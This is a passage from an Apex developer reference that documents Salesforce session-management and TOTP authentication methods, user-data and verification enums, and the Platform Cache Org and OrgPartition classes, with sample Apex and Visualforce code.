684

Reference

SessionManagement Class

inOrgNetworkRange(ipAddress)
Indicates whether the given IP address is within the organization's trusted IP range according to the organization's Network Access
settings.
isIpAllowedForProfile(profileId, ipAddress)
Indicates whether the given IP address is within the trusted IP range for the given profile.
registerHotpToken(userId, secret)
Reserved for future use.
setSessionLevel(level)
Sets the user's current session security level.
unregisterHotpToken(userId)
Reserved for future use.
validateTotpTokenForKey(sharedKey, totpCode)
Deprecated. Use validateTotpTokenForKey(totpSharedKey, totpCode, description) instead.
validateTotpTokenForKey(totpSharedKey, totpCode, description)
Indicates whether a time-based one-time password (TOTP) code (token) is valid for the given shared key.
validateTotpTokenForUser(totpCode)
Deprecated. Use validateTotpTokenForUser(totpCode, description) instead.
validateTotpTokenForUser(totpCode, description)
Indicates whether a time-based one-time password (TOTP) code (token) is valid for the current user.

generateVerificationUrl(policy, description, destinationUrl)

Initiates a user identity verification flow with the verification method that the user registered with, and returns a URL to the identity
verification screen. For example, if you have a custom Visualforce page that displays sensitive account details, you can prompt the user
to verify identity before viewing it.

Signature
public static String generateVerificationUrl(Auth.VerificationPolicy policy, String
description, String destinationUrl)

Parameters
policy

Type: Auth.VerificationPolicy
The session security policy required to initiate identity verification for the users session. For example, if the policy is set to High
Assurance level of session security, and the users current session has the standard level of session security, the users session is raised
to high assurance after successful verification of identity. In the Setup user interface, this value is shown in the Triggered By column
of Identity Verification History.
description

Type: String
The custom description that describes the activity requiring identity verification; for example, Complete purchase and check out.
This text appears to users when they verify their identity in Salesforce and, if they use Salesforce Authenticator version 2 or later, in
the Salesforce Authenticator mobile app. In addition, in the Setup user interface, this text is shown in the Activity Message column
of Identity Verification History.

685

Reference

SessionManagement Class

destinationUrl

Type: String
The relative or absolute Salesforce URL that you want to redirect the user to after identity verificationfor example, /apex/mypage.
The user is redirected to destinationUrl when the identity verification flow is complete, regardless of success. For example,
if a user chooses to not respond to the identity challenge and cancels it, the user is still redirected to destinationUrl. As a
best practice, ensure that your code for this page manually checks that the security policy was satisfied (and the user didnt just
manually type the URL in the browser). For example, if the policy is High Assurance, the target page checks that the user's session
is high assurance before allowing access.

Return Value
Type: String
The URL where the user is redirected to verify identity.

Usage
If the user is already registered to confirm identity using a time-based one-time password (TOTP), then the user is redirected to the
one-time password identity verification flow and asked to provide a code.
If the user isnt registered with any verification method (such as one-time password or Salesforce Authenticator version 2 or later),
the user is prompted to download and verify identity using Salesforce Authenticator. The user can also choose a different verification
method.

getCurrentSession()
Returns a map of attributes for the current session.

Signature
public static Map<String, String> getCurrentSession()

Return Value
Type: Map<String, String>

Usage
The map includes a ParentId value, which is the 18-character ID for the parent session, if one exists (for example, if the current
session is for a canvas app). If the current session doesnt have a parent, this value is null. The map also includes the LogoutUrl
assigned to the current session.
Note: When a session is reused, Salesforce updates the LoginHistoryId with the value from the most recent login.

Example
The following example shows the name-value pairs in a map returned by getCurrentSession(). Note that UsersId includes
an s in the name to match the name of the corresponding field in the AuthSession object.
{
SessionId=0Ak###############,
UserType=Standard,

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Reference

SessionManagement Class

ParentId=0Ak###############,
NumSecondsValid=7200,
LoginType=SAML Idp Initiated SSO,
LoginDomain=null,
LoginHistoryId=0Ya###############,
[email protected],
CreatedDate=Wed Jul 30 19:09:29 GMT 2014,
SessionType=Visualforce,
LastModifiedDate=Wed Jul 30 19:09:16 GMT 2014,
LogoutUrl=https://google.com,
SessionSecurityLevel=STANDARD,
UsersId=005###############,
SourceIp=1.1.1.1
}

getRequiredSessionLevelForProfile(profileId)
Indicates the required login security session level for the given profile.

Signature
public static Auth.SessionLevel getRequiredSessionLevelForProfile(String profileId)

Parameters
profileId

Type: String
The 15-character profile ID.

Return Value
Type: Auth.SessionLevel
The session security level required at login for the profile with the ID profileId. You can customize the assignment of each level in
Session Settings. For example, you can set the High Assurance level to apply only to users who authenticated with two-factor authentication
or through a specific identity provider.

getQrCode()
Returns a map containing a URL to a quick response (QR) code and a time-based one-time password (TOTP) shared secret to configure
two-factor authentication apps or devices.

Signature
public static Map<String, String> getQrCode()

Return Value
Type: Map<String, String>

687

Reference

SessionManagement Class

Usage
The QR code encodes the returned secret as well as the current user's username. The keys are qrCodeUrl and secret. Calling this
method does not change any state for the user, nor does it read any state from the user. This method returns a brand new secret every
time it is called, does not save that secret anywhere, and does not validate the TOTP token. The admin must explicitly save the values
for the user after verifying a TOTP token with the secret.
The secret is a base32-encoded string of a 20-byte shared key.

Example
The following is an example of how to request the QR code.
public String getGetQRCode() {
return getQRCode();
}
public String getQRCode() {
Map<String, String> codeResult = Auth.SessionManagement.getQrCode();
String result = 'URL: '+codeResult.get('qrCodeUrl') + ' SECRET: ' +
codeResult.get('secret');
return result;
}

The following is an example of a returned map.

{qrCodeUrl=https://www.salesforce.com/secur/qrCode?w=200&h=200&t=tf&u=user%0000000000.com&s=AAAAA7B5BBBB5AAAAAAA66BBBB,
secret=AAAAA7B5AAAAAA5BBBBBBBBB66AAA}

ignoreForConcurrentSessionLimit(sessions)
This method is reserved for internal Salesforce use.

Signature
public static Map<String,String> ignoreForConcurrentSessionLimit(Object sessions)

Parameters
sessions

Type: Object

Return Value
Type: Map<String, String>

inOrgNetworkRange(ipAddress)
Indicates whether the given IP address is within the organization's trusted IP range according to the organization's Network Access
settings.

Signature
public static Boolean inOrgNetworkRange(String ipAddress)

688

Reference

SessionManagement Class

Parameters
ipAddress

Type: String
The IP address to validate.

Return Value
Type: Boolean

Usage
If a trusted IP range is not defined, this returns false, and throws an exception if the IP address is not valid.
Trusted IP Range Exists?

User is in the Trusted IP Range?

Return Value

Yes

true

Yes

false

N/A

false

isIpAllowedForProfile(profileId, ipAddress)
Indicates whether the given IP address is within the trusted IP range for the given profile.

Signature
public static Boolean isIpAllowedForProfile(String profileId, String ipAddress)

Parameters
profileId

Type: String
The 15-character alphanumeric string for the current users profile ID.
ipAddress

Type: String
The IP address to validate.

Return Value
Type: Boolean

Usage
If a trusted IP range is not defined, this returns true, and throws an exception if the IP address is not valid or if the profile ID is not valid.
Trusted IP Range Exists?

User is in the Trusted IP Range?

Return Value

Yes

true

689

Reference

SessionManagement Class

Trusted IP Range Exists?

User is in the Trusted IP Range?

Return Value

Yes

false

N/A

true

registerHotpToken(userId, secret)
Reserved for future use.

Signature
public static String registerHotpToken(String userId, String secret)

Parameters
userId

Type: String
Reserved for future use.
secret

Type: String
Reserved for future use.

Return Value
Type: String

setSessionLevel(level)
Sets the user's current session security level.

Signature
public static Void setSessionLevel(Auth.SessionLevel level)

Parameters
level

Type: Auth.SessionLevel
The session security level to assign to the user. The meaning of each level can be customized in the Session Settings for each
organization, such as setting the High Assurance level to apply only to users who authenticated with two-factor authentication or
through a specific identity provider.

Return Value
Type: Void

690

Reference

SessionManagement Class

Usage
This setting affects the session level of all sessions associated with the current session, such as Visualforce, Salesforce Files Sync, or UI
access.

Example
The following is an example class for setting the session level.
public class RaiseSessionLevel{
public void setLevelHigh() {
Auth.SessionManagement.setSessionLevel(Auth.SessionLevel.HIGH_ASSURANCE);
}
public void setLevelStandard() {
Auth.SessionManagement.setSessionLevel(Auth.SessionLevel.STANDARD);
}
}

unregisterHotpToken(userId)
Reserved for future use.

Signature
public static Boolean unregisterHotpToken(String userId)

Parameters
userId

Type: String
Reserved for future use.

Return Value
Type: Boolean

validateTotpTokenForKey(sharedKey, totpCode)
Deprecated. Use validateTotpTokenForKey(totpSharedKey, totpCode, description) instead.

Signature
public static Boolean validateTotpTokenForKey(String sharedKey, String totpCode)

Parameters
sharedKey

Type: String
The shared (secret) key. The sharedKey must be a base32-encoded string of a 20-byte shared key.
totpCode

Type: String

691

Reference

SessionManagement Class

The time-based one-time password (TOTP) code to validate.

Return Value
Type: Boolean

Usage
If the key is invalid or doesnt exist, this method throws an invalid parameter value exception or a no data found exception, respectively.
If the current user exceeds the maximum of 10 token validation attempts, this method throws a security exception.

validateTotpTokenForKey(totpSharedKey, totpCode, description)

Indicates whether a time-based one-time password (TOTP) code (token) is valid for the given shared key.

Signature
public static Boolean validateTotpTokenForKey(String totpSharedKey, String totpCode,
String description)

Parameters
totpSharedKey

Type: String
The shared (secret) key. The totpSharedKey must be a base32-encoded string of a 20-byte shared key.
totpCode

Type: String
The time-based one-time password (TOTP) code to validate.
description

Type: String
The custom description that describes the activity requiring identity verification; for example, Complete purchase and check out.
In the Setup user interface, this text is shown in the Activity Message column of Identity Verification History. The description
must be 128 characters or fewer. If you provide a value thats longer, its truncated to 128 characters.

Return Value
Type: Boolean

validateTotpTokenForUser(totpCode)
Deprecated. Use validateTotpTokenForUser(totpCode, description) instead.

692

Reference

SessionManagement Class

Signature
public static Boolean validateTotpTokenForUser(String totpCode)

Parameters
totpCode

Type: String
The time-based one-time password (TOTP) code to validate.

Return Value
Type: Boolean

Usage
If the current user does not have a TOTP code, this method throws an exception. If the current user has attempted too many validations,
this method throws an exception.

validateTotpTokenForUser(totpCode, description)
Indicates whether a time-based one-time password (TOTP) code (token) is valid for the current user.

Signature
public static Boolean validateTotpTokenForUser(String totpCode, String description)

Parameters
totpCode

Type: String
The time-based one-time password (TOTP) code to validate.
description

Return Value
Type: Boolean

Usage
If the current user does not have a TOTP code, or if the current user has attempted too many validations, this method throws an exception.

693

Reference

SessionLevel Enum

SessionLevel Enum
An Auth.SessionLevel enum value is used by the SessionManagement.setSessionLevel method.

Namespace
Auth

Enum Values
Value

Description

LOW

The users security level for the current session meets the lowest requirements.
Note: This low level is not available, nor used, in the Salesforce UI. User
sessions through the Salesforce UI are either standard or high assurance. You
can set this level using the API, but users assigned this level will experience
unpredictable and reduced functionality in their Salesforce organization.

STANDARD

The users security level for the current session meets the Standard requirements
set in the current organization Session Security Levels.

HIGH_ASSURANCE

The users security level for the current session meets the High Assurance
requirements set in the current organization Session Security Levels.

Usage
Session-level security controls user access to features that support it, such as connected apps and reporting. For example, You can
customize an organizations Session Settings to require users to log in with two-factor authentication to get a High Assurance session.
Then, you can restrict access to a specific connected app by requiring a High Assurance session level in the settings for the connected
app.

UserData Class
Stores user information for Auth.RegistrationHandler.

Namespace
Auth
IN THIS SECTION:
UserData Constructors
UserData Properties

UserData Constructors
The following are constructors for UserData.

694

Reference

UserData Class

IN THIS SECTION:
UserData(userId, firstName, lastName, fullName, email, link, userName, locale, provider, siteLoginUrl, attributeMap)
Creates a new instance of the Auth.UserData class using the specified arguments.

UserData(userId, firstName, lastName, fullName, email, link, userName, locale,

provider, siteLoginUrl, attributeMap)
Creates a new instance of the Auth.UserData class using the specified arguments.

Signature
public UserData(String userId, String firstName, String lastName, String fullName,
String email, String link, String userName, String locale, String provider, String
siteLoginUrl, Map<String,String> attributeMap)

Parameters
userId

Type: String
An identifier from the third party for the authenticated user, such as the Facebook user number or the Salesforce user ID.
firstName

Type: String
The first name of the authenticated user, according to the third party.
lastName

Type: String
The last name of the authenticated user, according to the third party.
fullName

Type: String
The full name of the authenticated user, according to the third party.
email

Type: String
The email address of the authenticated user, according to the third party.
link

Type: String
A stable link for the authenticated user such as https://www.facebook.com/MyUsername.
userName

Type: String
The username of the authenticated user in the third party.
locale

Type: String
The standard locale string for the authenticated user.
provider

Type: String

695

Reference

UserData Class

The service used to log in, such as Facebook or Janrain.

siteLoginUrl

Type: String
The site login page URL passed in if used with a site; null otherwise.
attributeMap

Type: Map<String, String>

A map of data from the third party, in case the handler has to access non-standard values. For example, when using Janrain as a
provider, the fields Janrain returns in its accessCredentials dictionary are placed into the attributeMap. These fields
vary by provider.

UserData Properties
The following are properties for UserData.
IN THIS SECTION:
identifier
An identifier from the third party for the authenticated user, such as the Facebook user number or the Salesforce user ID.
firstName
The first name of the authenticated user, according to the third party.
lastName
The last name of the authenticated user, according to the third party.
fullName
The full name of the authenticated user, according to the third party.
email
The email address of the authenticated user, according to the third party.
link
A stable link for the authenticated user such as https://www.facebook.com/MyUsername.
username
The username of the authenticated user in the third party.
locale
The standard locale string for the authenticated user.
provider
The service used to log in, such as Facebook or Janrain.
siteLoginUrl
The site login page URL passed in if used with a site; null otherwise.
attributeMap
A map of data from the third party, in case the handler has to access non-standard values. For example, when using Janrain as a
provider, the fields Janrain returns in its accessCredentials dictionary are placed into the attributeMap. These fields
vary by provider.

696

Reference

UserData Class

identifier
An identifier from the third party for the authenticated user, such as the Facebook user number or the Salesforce user ID.

Signature
public String identifier {get; set;}

Property Value
Type: String

firstName
The first name of the authenticated user, according to the third party.

Signature
public String firstName {get; set;}

Property Value
Type: String

lastName
The last name of the authenticated user, according to the third party.

Signature
public String lastName {get; set;}

Property Value
Type: String

fullName
The full name of the authenticated user, according to the third party.

Signature
public String fullName {get; set;}

Property Value
Type: String

email
The email address of the authenticated user, according to the third party.

697

Reference

UserData Class

Signature
public String email {get; set;}

Property Value
Type: String

link
A stable link for the authenticated user such as https://www.facebook.com/MyUsername.

Signature
public String link {get; set;}

Property Value
Type: String

username
The username of the authenticated user in the third party.

Signature
public String username {get; set;}

Property Value
Type: String

locale
The standard locale string for the authenticated user.

Signature
public String locale {get; set;}

Property Value
Type: String

provider
The service used to log in, such as Facebook or Janrain.

Signature
public String provider {get; set;}

698

Reference

VerificationPolicy Enum

Property Value
Type: String

siteLoginUrl
The site login page URL passed in if used with a site; null otherwise.

Signature
public String siteLoginUrl {get; set;}

Property Value
Type: String

attributeMap
A map of data from the third party, in case the handler has to access non-standard values. For example, when using Janrain as a provider,
the fields Janrain returns in its accessCredentials dictionary are placed into the attributeMap. These fields vary by provider.

Signature
public Map<String, String> attributeMap {get; set;}

Property Value
Type: Map<String, String>

VerificationPolicy Enum
The Auth.VerificationPolicy enum contains an identity verification policy value used by the
SessionManagement.generateVerificationUrl method.

Usage
The enum value is an argument in the SessionManagement.generateVerificationUrl method. The value indicates
the session security policy required to initiate identity verification for the users session.

Enum Values
The following are the values of the Auth.VerificationPolicy enum.
Value

Description

HIGH_ASSURANCE

The security level for the users current session must be High Assurance.

699

Reference

Auth Exceptions

Auth Exceptions
The Auth namespace contains one exception class.
All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In
Exceptions.
The Auth namespace contains the following exception.
Exception

Description

Methods

Auth.ConnectedAppPluginException Throw this exception to indicate that an

To get the error message and write it

error occurred while running the custom to debug log, use the String
behavior for a connected app.
getMessage().

Cache Namespace
The Cache namespace contains methods for managing the platform cache.
The following are the classes in the Cache namespace.
IN THIS SECTION:
Org Class
Use the Cache.Org class to add, retrieve, and manage values in the org cache. Unlike the session cache, the org cache is not tied
to any session and is available to the organization across requests and to all users.
OrgPartition Class
Contains methods to manage cache values in the org cache of a specific partition. Unlike the session cache, the org cache is not tied
to any session. Its available to the organization across requests and to all users.
Partition Class
Base class of Cache.OrgPartition and Cache.SessionPartition. Use the subclasses to manage the cache partition
for org caches and session caches.
Session Class
Use the Cache.Session class to add, retrieve, and manage values in the session cache. The session cache is active as long as
the users Salesforce session is valid (the user is logged in, and the session is not expired).
SessionPartition Class
Contains methods to manage cache values in the session cache of a specific partition.
Cache Exceptions
The Cache namespace contains exception classes.
Visibility Enum
Use the Cache.Visibility enumeration in the Cache.Session or Cache.Org methods to indicate whether a cached
value is visible only in the values namespace or in all namespaces.
SEE ALSO:
Platform Cache

700

Reference

Org Class

Org Class
Use the Cache.Org class to add, retrieve, and manage values in the org cache. Unlike the session cache, the org cache is not tied to
any session and is available to the organization across requests and to all users.

Namespace
Cache

Usage
Cache Key Format
This table lists the format of the key parameter that some methods in this class take, such as put, get, and contains.
Key Format

Description

namespace.partition.key

Fully qualified key name.

key

Refers to a partition marked as default when the

namespace.partition prefix is omitted.

local.partition.key

Use the local prefix to refer to the orgs namespace when the
org doesnt have a namespace defined. If the org has a namespace
defined, the local prefix also refers to that orgs namespace.

Note:
If no default partition is specified in the org, calling a cache method without fully qualifying the key name causes a
Cache.Org.OrgCacheException to be thrown.
The local prefix in an installed managed package refers to the namespace of the subscriber org and not the packages
namespace. The cache put calls arent allowed in a partition that the invoking class doesnt own.

Example
This class is the controller for a sample Visualforce page (shown in the subsequent code sample). The cached values are initially added
to the cache by the init() method, which the Visualforce page invokes when it loads through the action attribute. The cache
keys dont contain the namespace.partition prefix. They all refer to the default partition in your org. To run this sample, create
a partition and mark it as default.
The Visualforce page contains four output components. These components call get methods on the controller that returns the following
values from the cache: a date, data based on the MyData inner class, a counter, a text value, and a list. The size of the list is also returned.
The Visualforce page also contains two buttons. The Rerender button invokes the go() method on the controller. This method increases
the values of the counter and the custom data in the cache. When you click Rerender, the two counters increase by one each time. The
go() method retrieves the values of these counters from the cache, increments their values by one, and stores them again in the
cache.
The Remove datetime Key button deletes the date-time value (with key datetime) from the cache. As a result, the value next to
Cached datetime: is cleared on the page.

701

Reference

Org Class

Note: If another user logs in and runs this sample, this user gets the cache values that were last added or updated by the previous
user. For example, if the counter value was five, the next user sees the counter value as increased to six.
public class OrgCacheController {
// Inner class.
// Used as the data type of a cache value.
class MyData {
public String value { get; set; }
public Integer counter { get; set; }
public MyData(String value) {
this.value = value;
this.counter = 0;
}
public void inc() {
counter++;
}
override public String toString() {
return this.value + ':' + this.counter;
}
}
// Apex List.
// Used as the data type of a cached value.
private List<String> numbers =
new List<String> { 'ONE', 'TWO', 'THREE', 'FOUR', 'FIVE' };
// Constructor of the controller for the Visualforce page.
public OrgCacheController() {
}
// Adds various values to the cache.
// This method is called when the Visualforce page loads.
public void init() {
// All key values are not qualified by the namespace.partition
// prefix because they use the default partition.
// Add counter to the cache with initial value of 0
// or increment it if it's already there.
if (!Cache.Org.contains('counter')) {
Cache.Org.put('counter', 0);
} else {
Cache.Org.put('counter', getCounter() + 1);
}
// Add the datetime value to the cache only if it's not already there.
if (!Cache.Org.contains('datetime')) {
DateTime dt = DateTime.now();
Cache.Org.put('datetime', dt);
}

702

Reference

Org Class

// Add the custom data to the cache only if it's not already there.
if (!Cache.Org.contains('data')) {
Cache.Org.put('data', new MyData('Some custom value'));
}
// Add a list of number to the cache if not already there.
if (!Cache.Org.contains('list')) {
Cache.Org.put('list', numbers);
}
// Add a string value to the cache if not already there.
if (!Cache.Org.contains('output')) {
Cache.Org.put('output', 'Cached text value');
}
}
// Return counter from the cache.
public Integer getCounter() {
return (Integer)Cache.Org.get('counter');
}
// Return datetime value from the cache.
public String getCachedDatetime() {
DateTime dt = (DateTime)Cache.Org.get('datetime');
return dt != null ? dt.format() : null;
}
// Return cached value whose type is the inner class MyData.
public String getCachedData() {
MyData mydata = (MyData)Cache.Org.get('data');
return mydata != null ? mydata.toString() : null;
}
// Return output from the cache.
public String getOutput() {
return (String)Cache.Org.get('output');
}
// Return list from the cache.
public List<String> getList() {
return (List<String>)Cache.Org.get('list');
}
// Method invoked by the Rerender button on the Visualforce page.
// Updates the values of various cached values.
// Increases the values of counter and the MyData counter if those
//
cache values are still in the cache.
public PageReference go() {
// Increase the cached counter value or set it to 0
// if it's not cached.
if (Cache.Org.contains('counter')) {
Cache.Org.put('counter', getCounter() + 1);
} else {
Cache.Org.put('counter', 0);

703

Reference

Org Class

}
// Get the custom data value from the cache.
MyData d = (MyData)Cache.Org.get('data');
// Only if the data is already in the cache, update it.
if (Cache.Org.contains('data')) {
d.inc();
Cache.Org.put('data', d);
}
return null;
}
// Method invoked by the Remove button on the Visualforce page.
// Removes the datetime cached value from the org cache.
public PageReference remove() {
Cache.Org.remove('datetime');
return null;
}
}

This is the Visualforce page that corresponds to the OrgCacheController class.

<apex:page controller="OrgCacheController" action="{!init}">
<apex:outputPanel id="output">
<br/>Cached datetime: <apex:outputText value="{!cachedDatetime}"/>
<br/>Cached data: <apex:outputText value="{!cachedData}"/>
<br/>Cached counter: <apex:outputText value="{!counter}"/>
<br/>Output: <apex:outputText value="{!output}"/>
<br/>Repeat: <apex:repeat var="item" value="{!list}">
<apex:outputText value="{!item}"/> 
</apex:repeat>
<br/>List size: <apex:outputText value="{!list.size}"/>
</apex:outputPanel>
<br/><br/>
<apex:form >
<apex:commandButton id="go" action="{!go}" value="Rerender" rerender="output"/>
<apex:commandButton id="remove" action="{!remove}" value="Remove datetime Key"
rerender="output"/>
</apex:form>
</apex:page>

This is the output of the page after clicking the Rerender button twice. The counter value could differ in your case if a key named
counter was already in the cache before running this sample.
Cached datetime:8/11/2015 1:58 PM
Cached data:Some custom value:2
Cached counter:2
Output:Cached text value
Repeat:ONE TWO THREE FOUR FIVE
List size:5

704

Reference

Org Class

IN THIS SECTION:
Org Constants
The Org class provides a constant that you can use when setting the time-to-live (TTL) value.
Org Methods
SEE ALSO:
Platform Cache

Org Constants
The Org class provides a constant that you can use when setting the time-to-live (TTL) value.
Constant

Description

MAX_TTL_SECS

Represents the maximum amount of time, in seconds, to keep the cached value in the
org cache.

Org Methods
The following are methods for Org. All methods are static.
IN THIS SECTION:
contains(key)
Returns true if the org cache contains a cached value corresponding to the specified key.
contains(keys)
Returns true if the org cache contains the specified key entries.
get(key)
Returns the cached value corresponding to the specified key from the org cache.
getCapacity()
Returns the percentage of org cache capacity that has been used.
getKeys()
Returns a set of all keys that are stored in the org cache and visible to the invoking namespace.
getName()
Returns the name of the default cache partition.
getPartition(partitionName)
Returns a partition from the org cache that corresponds to the specified partition name.
put(key, value)
Stores the specified key/value pair as a cached entry in the org cache. The put method can write only to the cache in your orgs
namespace.
put(key, value, visibility)
Stores the specified key/value pair as a cached entry in the org cache and sets the cached values visibility.

705

Reference

Org Class

put(key, value, ttlSecs)

Stores the specified key/value pair as a cached entry in the org cache and sets the cached values lifetime.
put(key, value, ttlSecs, visibility, immutable)
Stores the specified key/value pair as a cached entry in the org cache. This method also sets the cached values lifetime, visibility,
and whether it can be overwritten by another namespace.
remove(key)
Deletes the cached value corresponding to the specified key from the org cache.

contains(key)
Returns true if the org cache contains a cached value corresponding to the specified key.

Signature
public static Boolean contains(String key)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.

Return Value
Type: Boolean
true if a cache entry is found. Othewise, false.

contains(keys)
Returns true if the org cache contains the specified key entries.

Signature
public static List<Boolean> contains(Set<String> keys)

Parameters
keys

Type: Set<String>
A set of keys that uniquely identifies cached values. For information about the format of the key name, see Usage.

Return Value
Type: List<Boolean>
true if the key entries are found. Othewise, false.

706

Reference

Org Class

get(key)
Returns the cached value corresponding to the specified key from the org cache.

Signature
public static Object get(String key)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.

Return Value
Type: Object
The cached value as a generic object type. Cast the returned value to the appropriate type.

Usage
Because Cache.Org.get() returns an object, cast the returned value to a specific type to facilitate use of the returned value.
// Get a cached value
Object obj = Cache.Org.get('ns1.partition1.orderDate');
// Cast return value to a specific data type
DateTime dt2 = (DateTime)obj;

If a Cache.Org.get() call doesnt find the referenced key, it returns null.

getCapacity()
Returns the percentage of org cache capacity that has been used.

Signature
public static Double getCapacity()

Return Value
Type: Double
Used cache as a percentage number.

getKeys()
Returns a set of all keys that are stored in the org cache and visible to the invoking namespace.

Signature
public static Set<String> getKeys()

707

Reference

Org Class

Return Value
Type: Set<String>
A set containing all cache keys.

getName()
Returns the name of the default cache partition.

Signature
public String getName()

Return Value
Type: String
The name of the default cache partition.

getPartition(partitionName)
Returns a partition from the org cache that corresponds to the specified partition name.

Signature
public static cache.OrgPartition getPartition(String partitionName)

Parameters
partitionName

Type: String
A partition name that is qualified by the namespace, for example, namespace.partition.

Return Value
Type: Cache.OrgPartition

Example
After you get the org partition, you can add and retrieve the partitions cache values.
// Get partition
Cache.OrgPartition orgPart = Cache.Org.getPartition('myNs.myPartition');
// Retrieve cache value from the partition
if (orgPart.contains('BookTitle')) {
String cachedTitle = (String)orgPart.get('BookTitle');
}
// Add cache value to the partition
orgPart.put('OrderDate', Date.today());
// Or use dot notation to call partition methods

708

Reference

Org Class

String cachedAuthor = (String)Cache.Org.getPartition('myNs.myPartition').get('BookAuthor');

put(key, value)
Stores the specified key/value pair as a cached entry in the org cache. The put method can write only to the cache in your orgs
namespace.

Signature
public static void put(String key, Object value)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
value

Type: Object
The value to store in the cache. The cached value must be serializable.

Return Value
Type: void

put(key, value, visibility)

Stores the specified key/value pair as a cached entry in the org cache and sets the cached values visibility.

Signature
public static void put(String key, Object value, Cache.Visibility visibility)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
value

Type: Object
The value to store in the cache. The cached value must be serializable.
visibility

Type: Cache.Visibility
Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.

709

Reference

Org Class

Return Value
Type: void

put(key, value, ttlSecs)

Stores the specified key/value pair as a cached entry in the org cache and sets the cached values lifetime.

Signature
public static void put(String key, Object value, Integer ttlSecs)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
value

Type: Object
The value to store in the cache. The cached value must be serializable.
ttlSecs

Type: Integer
The amount of time, in seconds, to keep the cached value in the org cache. The maximum is 172,800 seconds (48 hours). The
minimum value is 300 seconds or 5 minutes. The default value is 86,400 seconds (24 hours).

Return Value
Type: void

put(key, value, ttlSecs, visibility, immutable)

Stores the specified key/value pair as a cached entry in the org cache. This method also sets the cached values lifetime, visibility, and
whether it can be overwritten by another namespace.

Signature
public static void put(String key, Object value, Integer ttlSecs, cache.Visibility
visibility, Boolean immutable)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.
value

Type: Object
The value to store in the cache. The cached value must be serializable.

710

Reference

OrgPartition Class

ttlSecs

Type: Cache.Visibility
Indicates whether the cached value is available only to Apex code that is executing in the same namespace or to Apex code executing
from any namespace.
immutable

Type: Boolean
Indicates whether the cached value can be overwritten by another namespace (false) or not (true).

Return Value
Type: void

remove(key)
Deletes the cached value corresponding to the specified key from the org cache.

Signature
public static Boolean remove(String key)

Parameters
key

Type: String
A case-sensitive string value that uniquely identifies a cached value. For information about the format of the key name, see Usage.

Return Value
Type: Boolean
true if the cache value was successfully removed. Otherwise, false.

OrgPartition Class
Contains methods to manage cache values in the org cache of a specific partition. Unlike the session cache, the org cache is not tied to
any session. Its available to the organization across requests and to all users.

Namespace
Cache

711

Reference

OrgPartition Class

Usage
This class extends Cache.Partition and inherits all its non-static methods. Utility methods for creating and validating keys arent supported
and can be called only from the Cache.Partition parent class. For a list of Cache.Partition methods, see Partition Methods.
To get an org partition, call Cache.Org.getPartition and pass in a fully qualified partition name, as follows.
Cache.OrgPartition orgPartition = Cache.Org.getPartition('namespace.myPartition');

See Cache Key Format for Partition Methods.

Example
This class is the controller for a sample Visualforce page (shown in the subsequent code sample). The controller shows how to use the
methods of Cache.OrgPartition to manage a cache value on a particular partition. The controller takes inputs from the Visualforce
page for the partition name, key name for a counter, and initial counter value. The controller contains default values for these inputs.
When you click Rerender on the Visualforce page, the go() method is invoked and increases the counter by one. When you click
Remove Key, the counter key is removed from the cache. The counter value gets reset to its initial value when its re-added to the cache.
Note: If another user logs in and runs this sample, the user gets the cache values that were last added or updated by the previous
user. For example, if the counter value was five, the next user sees the counter value as increased to six.
public class OrgPartitionController {
// Name of a partition
String partitionInput = 'local.myPartition';
// Name of the key
String counterKeyInput = 'counter';
// Key initial value
Integer counterInitValue = 0;
// Org partition object
Cache.OrgPartition orgPartition;
// Constructor of the controller for the Visualforce page.
public OrgPartitionController() {
}
// Adds counter value to the cache.
// This method is called when the Visualforce page loads.
public void init() {
// Create the partition instance based on the partition name
orgPartition = getPartition();
// Create the partition instance based on the partition name
// given in the Visualforce page or the default value.
orgPartition = Cache.Org.getPartition(partitionInput);
// Add counter to the cache with an initial value
// or increment it if it's already there.
if (!orgPartition.contains(counterKeyInput)) {
orgPartition.put(counterKeyInput, counterInitValue);
} else {
orgPartition.put(counterKeyInput, getCounter() + 1);
}
}

712

Reference

OrgPartition Class

// Returns the org partition based on the partition name

// given in the Visualforce page or the default value.
private Cache.OrgPartition getPartition() {
if (orgPartition == null) {
orgPartition = Cache.Org.getPartition(partitionInput);
}
return orgPartition;
}

// Return counter from the cache.

public Integer getCounter() {
return (Integer)getPartition().get(counterKeyInput);
}
// Invoked by the Submit button to save input values
// supplied by the user.
public PageReference save() {
// Reset the initial key value in the cache
getPartition().put(counterKeyInput, counterInitValue);
return null;
}
// Method invoked by the Rerender button on the Visualforce page.
// Updates the values of various cached values.
// Increases the values of counter and the MyData counter if those
//
cache values are still in the cache.
public PageReference go() {
// Get the org partition object
orgPartition = getPartition();
// Increase the cached counter value or set it to 0
// if it's not cached.
if (orgPartition.contains(counterKeyInput)) {
orgPartition.put(counterKeyInput, getCounter() + 1);
} else {
orgPartition.put(counterKeyInput, counterInitValue);
}
return null;
}
// Method invoked by the Remove button on the Visualforce page.
// Removes the datetime cached value from the org cache.
public PageReference remove() {
getPartition().remove(counterKeyInput);
return null;
}
// Get and set methods for accessing variables
// that correspond to the input text fields on

713

Reference

OrgPartition Class

// the Visualforce page.

public String getPartitionInput() {
return partitionInput;
}
public String getCounterKeyInput() {
return counterKeyInput;
}
public Integer getCounterInitValue() {
return counterInitValue;
}
public void setPartitionInput(String partition) {
this.partitionInput = partition;
}
public void setCounterKeyInput(String keyName) {
this.counterKeyInput = keyName;
}
public void setCounterInitValue(Integer counterValue) {
this.counterInitValue = counterValue;
}
}

This is the Visualforce page that corresponds to the OrgPartitionController class.

<apex:page controller="OrgPartitionController" action="{!init}">
<apex:form >
<br/>Partition with Namespace Prefix: <apex:inputText value="{!partitionInput}"/>
<br/>Counter Key Name: <apex:inputText value="{!counterKeyInput}"/>
